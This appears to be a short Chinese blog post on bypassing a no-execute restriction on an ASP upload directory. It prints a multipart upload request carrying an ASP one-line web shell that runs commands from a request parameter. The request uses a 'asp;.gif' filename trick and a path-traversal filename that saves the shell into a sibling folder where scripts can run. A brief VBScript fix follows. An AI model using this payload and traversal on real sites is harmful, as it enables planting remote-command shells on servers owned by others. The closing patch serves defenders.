asp上传目录没有脚本执行权限如何突破及修补

作者:hack1990 时间:11-03-28 阅读数:701人阅读

1.不更改上传文件名

2.像无惧那样没考虑 / 的情况

下面一个包:

 


-----------------------------7da290150c5e
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"
Content-Type: text/plain
<%execute(request("cmd"))%>
......

filename是判断filename里的最右边的一个"\"以后的就是文件名字了。所以,这样构造:

Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../news/111.asp;.gif"

这样程序就会把 ./../news/111.asp;.gif当作文件名处理了,然后保存文件到上一级的news文件夹下了。

修补方法:

iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr (iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
sFileName = Replace (sFileName,"/","\") // 修补方法 加上这句即可
oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))

发表评论